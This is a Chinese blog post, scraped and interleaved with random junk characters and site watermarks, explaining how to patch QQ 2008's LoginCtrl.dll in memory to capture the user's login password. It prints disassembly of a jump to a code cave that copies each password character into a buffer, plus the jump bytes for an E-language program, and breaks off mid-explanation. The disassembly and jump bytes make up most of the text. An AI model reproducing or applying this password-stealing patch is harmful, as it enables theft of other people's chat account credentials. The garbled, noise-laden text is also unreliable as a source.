利用HOOK API技术,内存中截获QQ密码(2008最新版)
z&BbE} Yut0列出2008KB1版的关键修改代码:IXPUB技术博客.sw$n F%k"V
014B6DD4 > /43 INC EBXIXPUB技术博客2jU(pG}N
014B6DD5 . |6A 01 PUSH 1
"_NT(JL*N0014B6DD7 . |8BC3 MOV EAX,EBX
z3@;B(C1A'Ba0014B6DD9 . |0FAFC6 IMUL EAX,ESIIXPUB技术博客wP#o}/a7c
014B6DDC . |8A4C08 FF MOV CL,BYTE PTR DS:[EAX+ECX-1]IXPUB技术博客{Sc!@_
g
014B6DE0 . |E9 E5340100 JMP LoginCtr.014CA2CA //修改点,跳至空白点
a6S/p#U*C;g.Y#yfZ0014B6DE5 |90 NOPIXPUB技术博客#k
JD;N!P:Wk/R
014B6DE6 |90 NOPIXPUB技术博客;I*_E-wJg L-d
014B6DE7 |90 NOPIXPUB技术博客
R4D
Q#EW"_
014B6DE8 |90 NOP
4D?*PYN;K7m+V W0014B6DE9 |90 NOP
4A#w\#w*|&b0014B6DEA > |50 PUSH EAX ; |Arg1
8t5Q8H(z:xv L0014B6DEB . |884D D4 MOV BYTE PTR SS:[EBP-2C],CL ; |
\px^W#q8g'|0014B6DEE . |E8 90E00000 CALL LoginCtr.014C4E83 ; \LoginCtr.014C4E83IXPUB技术博客] C7l3_9vkKc~[
014B6DF3 . |8B57 44 MOV EDX,DWORD PTR DS:[EDI+44]
5W{\/]J;M1D0014B6DF6 . |83C4 0C ADD ESP,0C
-v5A
G)N`0014B6DF9 . |8B0A MOV ECX,DWORD PTR DS:[EDX]IXPUB技术博客C
L:v/W7L
014B6DFB . |8B72 0C MOV ESI,DWORD PTR DS:[EDX+C]
7oK3W3{V+K+}0014B6DFE . |8B41 F8 MOV EAX,DWORD PTR DS:[ECX-8]IXPUB技术博客1JqD:P#L,N F
014B6E01 . |99 CDQIXPUB技术博客9O*{F![2{9m9s"fTf1I&i
014B6E02 . |F7FE IDIV ESI
MXH2KF0014B6E04 . |3BD8 CMP EBX,EAXIXPUB技术博客,MZG"o4W1H+`7?~
014B6E06 .^\7C CC JL SHORT LoginCtr.014B6DD4IXPUB技术博客9H(Ga^:|6C
9gMOIm1|s1W[0
R.c(`qo(K.pOZc$i[{0014CA2CA > \52 PUSH EDX //空白点
&q4\W2a%Q\py1G
A0014CA2CB . BA FFAF1200 MOV EDX,12AFFF
G`,W ssxK,c0014CA2D0 . 03D3 ADD EDX,EBX
!NGl*s W K~1B0014CA2D2 . 36:880A MOV BYTE PTR SS:[EDX],CL
F7d{!N
z9}O6D7mQ(y0014CA2D5 . 5A POP EDX
&K3?^!_%C W0014CA2D6 . 8D45 D4 LEA EAX,DWORD PTR SS:[EBP-2C] ;修改处原代码
~/k"Du[X"S2r/svj0014CA2D9 . 50 PUSH EAX
0xv{+V$Zy0014CA2DA . 8D85 58FFFFFF LEA EAX,DWORD PTR SS:[EBP-A8]
,U
B9E;b@.Q,yt"~!qr0014CA2E0 .^ E9 05CBFEFF JMP LoginCtr.014B6DEAIXPUB技术博客m-C$A5`!_U:F7GAL
大家还记得我以前写得HOOK API系列文章吗?两者原理基本上差不多,都是修改程序得执行顺序,嵌IXPUB技术博客v:`#a-e+u Jh-W
Ll#@+l/u5KYF0入我们自己得代码来达到目的得!IXPUB技术博客zK7Z#y9ka
IXPUB技术博客*Y,l3f*Tq\:l$U ?我们现来看下基本原理,这要感谢open[xgc]大侠,他调试QQ程序跟踪密码发现QQ程序执行到LoginCtrl.dll偏移16DE0h处时,CL里放的就是QQ密码了:
i ?^ aQu3t0IXPUB技术博客:I Jo)R"DT/zp4G014B6DDC . |8A4C08 FF MOV CL,BYTE PTR DS:[EAX+ECX-1]
%`i.P*d"^ tVB0IXPUB技术博客*W I Skg8i我们要做的就是修改偏移16DE0h处开始的代码,做保存QQ密码的工作,说下构思:IXPUB技术博客c,~5K aP2c(N
IXPUB技术博客 K3x8e*W$q^1.写一个跳转指令,JMP 00XXXX,跳到我们自己的代码,不足用NOP补,实际代码如下:
*n,n~]MU?T0IXPUB技术博客*_z7];jE]9s!^9[JMP 014CA2CA ,NOP,NOP,NOP,NOP
[xH8~:B%H0rK'] U2PQ0在易语言里是这样的:
,W? Bk"i0i ]zN0IXPUB技术博客5xUBh^跳转指令 = { 233, 229, 52, 1, 0, 144, 144, 144, 144, 144 }IXPUB技术博客'i2b9iw%i\{:F
IXPUB技术博客#E`};k Ki.tIXPUB技术博客uubGW
2.找一个空白代码区(这里是014CA2CA),写于我们的代码,我们的代码要实现下面几个功能:IXPUB技术博客3m)D;M2_;C2N4I!qK